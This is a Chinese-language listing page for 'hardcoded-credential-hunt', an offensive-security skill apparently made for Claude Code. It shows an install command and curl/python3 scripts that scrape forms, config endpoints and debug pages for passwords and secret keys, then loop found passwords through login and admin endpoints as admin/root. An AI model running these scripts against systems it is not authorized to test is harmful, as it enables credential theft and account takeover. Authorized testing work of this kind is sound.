关于 hardcoded-credential-hunt
hardcoded-credential-hunt 是用于查找客户端代码、HTML、配置端点和调试页面中硬编码凭据的安全测试技能,可帮助测试人员确认凭据是否静态、能否使用及其权限范围。
主要功能
- 01检查 HTML 预填密码字段
- 02探测配置端点
- 03查找调试页面中的机密
- 04在身份验证端点测试凭据
- 05验证凭据权限与访问范围
适用场景
- 01审计公开表单中的嵌入式密码
- 02检查未认证配置响应
- 03评估调试错误泄露的机密
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hardcoded-credential-hunt安装后在 Claude Code 中输入/hardcoded-credential-hunt确认已加载。
详细介绍
硬编码凭据排查
检测客户端代码或 HTML 响应中内置的凭据。目标包括表单 value 属性中的主密码、内联脚本中的密钥、配置端点中的 API 令牌,以及调试错误页面泄露的明文凭据。这类漏洞可完全绕过身份验证——无需暴力破解。
适用场景
- 应用提供预填或隐藏密码字段的 HTML 表单。
- 配置端点(
/api/config、/env、/settings)返回包含类似凭据字符串的 JSON。 - 调试/错误页面在 JavaScript 变量中泄露应用密钥。
- 未经身份验证的 API 端点返回控制身份验证的数据(重置、退出注册、管理员操作)。
- JavaScript 包中包含符合密码模式的字符串赋值。
前提条件
- 带有 curl 和 python3 的
terminal。 - 目标在配置/设置端点上未进行适当身份验证,且提供 HTML、JSON 或 JavaScript。
- 至少能够访问一个公开页面、表单或 API 端点。
快速检测
# Scan HTML for password fields with pre-filled values
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/PATH" | grep -Eoi '(?:password|passwd|senha|pass|pwd|secret)\s*[=:"]\s*"?[^"&\s]{4,30}"?' | head -10
# Scan JSON config endpoints for credential-like keys
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/config" | python3 -c "
import sys, json, re
try:
data = json.load(sys.stdin)
for k, v in data.items() if isinstance(data, dict) else []:
if any(x in k.lower() for x in ['pass','secret','key','token','auth']):
print(f'{k}: {v}')
except: pass
"
# Scan inline JavaScript for hardcoded secrets
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/" | grep -Eo '(?:SECRET|PASSWORD|API_KEY|TOKEN)\s*=\s*"[^"]{8,}"' | head -10
操作步骤
阶段 1 — 检查 HTML 表单
查找带有 value 属性的密码字段,或包含凭据的隐藏输入项:
# Extract all password inputs
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/PATH" | python3 -c "
import sys, re
html = sys.stdin.read()
# Inputs with type=password and non-empty value
for m in re.finditer(r'<input[^>]*type\s*=\s*[\"\']password[\"\'][^>]*value\s*=\s*[\"\']([^\"\']+)[\"\']', html):
print(f'PASSWORD FIELD: {m.group(1)}')
# Hidden inputs that look like passwords
for m in re.finditer(r'<input[^>]*type\s*=\s*[\"\']hidden[\"\'][^>]*name\s*=\s*[\"\']([^\"\']*(?:pass|senha|secret|token|key)[^\"\']*)[\"\'][^>]*value\s*=\s*[\"\']([^\"\']+)[\"\']', html, re.IGNORECASE):
print(f'HIDDEN CREDENTIAL: {m.group(1)} = {m.group(2)}')
"
阶段 2 — 探测配置端点
探测可能泄露凭据的常见配置端点:
for path in /api/config /api/settings /env /api/env /config.json /api/config.json \
/api/v1/config /api/configuration /api/v2/settings /api/status; do
result=$(curl --max-time 30 --connect-timeout 10 -sk "https://target.com$path" -w "\n%{http_code}" 2>/dev/null)
code=$(echo "$result" | tail -1)
if [ "$code" = "200" ]; then
echo "=== $path (200) ==="
echo "$result" | python3 -c "
import sys, json, re
data = sys.stdin.read()
# Try JSON
try:
obj = json.loads(data)
for k, v in obj.items() if isinstance(obj, dict) else []:
if any(x in str(k).lower() for x in ['pass','secret','key','token','auth','jwt']):
print(f' {k}: {v}')
except:
# Try regex on plain text
for m in re.finditer(r'(?:password|passwd|secret|token|api[_-]?key)\s*[=:]\s*[\"']([^\"']{4,})[\"']', data, re.I):
print(f' {m.group(0)}')
" | head -20
fi
done
阶段 3 — 分析调试错误页面
Werkzeug、Django 和 Express 的调试页面经常会在内联 JavaScript 中泄露密钥:
# Trigger an error and check for credential leaks
curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT/ERROR_TRIGGER_PATH" | python3 -c "
import sys, re
html = sys.stdin.read()
# Werkzeug debugger SECRET
match = re.search(r'SECRET\s*=\s*[\"]([^\"\']+)[\"]', html)
if match: print(f'WERKZEUG_SECRET: {match.group(1)}')
# Django settings
for m in re.finditer(r'SECRET_KEY\s*=\s*[\"]([^\"\']+)[\"]', html):
print(f'DJANGO_SECRET: {m.group(1)}')
# Generic credential patterns
for m in re.finditer(r'(?:PASSWORD|PASS|TOKEN|API_KEY)\s*=\s*[\"]([^\"\']{6,})[\"']", html, re.I):
print(f'LEAKED: {m.group(0)}')
"
阶段 4 — 测试身份验证绕过
发现硬编码密码后,使用该密码测试所有身份验证端点:
PASSWORD="found_password"
# Test against common auth endpoints
for endpoint in /login /api/login /api/auth/login /auth /admin /api/admin; do
for user in admin administrator root; do
code=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" \
-d "username=$user&password=$PASSWORD" \
"https://target.com$endpoint")
if [ "$code" = "302" ] || [ "$code" = "200" ]; then
echo "SUCCESS: $user:$PASSWORD at $endpoint (HTTP $code)"
fi
done
done
注意事项
- 占位值看起来可能是真实凭据。 报告前先测试
password123、changeme和空字符串——它们通常是开发默认值。 - 凭据可能有使用范围限制。 “退出注册”密码并不等同于完整的管理员密码。评分前先确认凭据的实际权限。
- 表单值可能是动态生成的。 检查密码是否会随会话变化(CSRF 令牌模式),还是确实为静态值。
- Base64 并非加密。 解码在 JavaScript 中发现的任何类似 Base64 的字符串——其中经常包含凭据。
- 速率限制可能会阻止测试。 每次身份验证尝试间隔 2–3 秒。
验证
- 确认凭据是静态的: 获取页面/端点三次,并确认每次的密码值都相同。
- 确认凭据可以授予访问权限: 在预期端点使用该凭据,并确认响应与失败尝试不同(HTTP 200/302,而非 401/403)。
- 确定权限级别: 使用该凭据测试其他端点,以确定其范围(只读、写入、管理员、重置)。
- 检查审计记录: 在请求中加入唯一标识符后重复访问,确认操作出现在日志中(以验证实际影响)。
相关技能
api-noauth-hunt— 利用完全缺少身份验证的 API 端点。js-secrets-extraction— 查找 JavaScript 包中的 API 密钥和令牌。source-leak-hunt— 检测暴露的配置文件(.env、wp-config 等)。flask-werkzeug-attack— 利用 Werkzeug 调试器泄露的 SECRET 和回溯信息泄露。
评论
支持 Markdown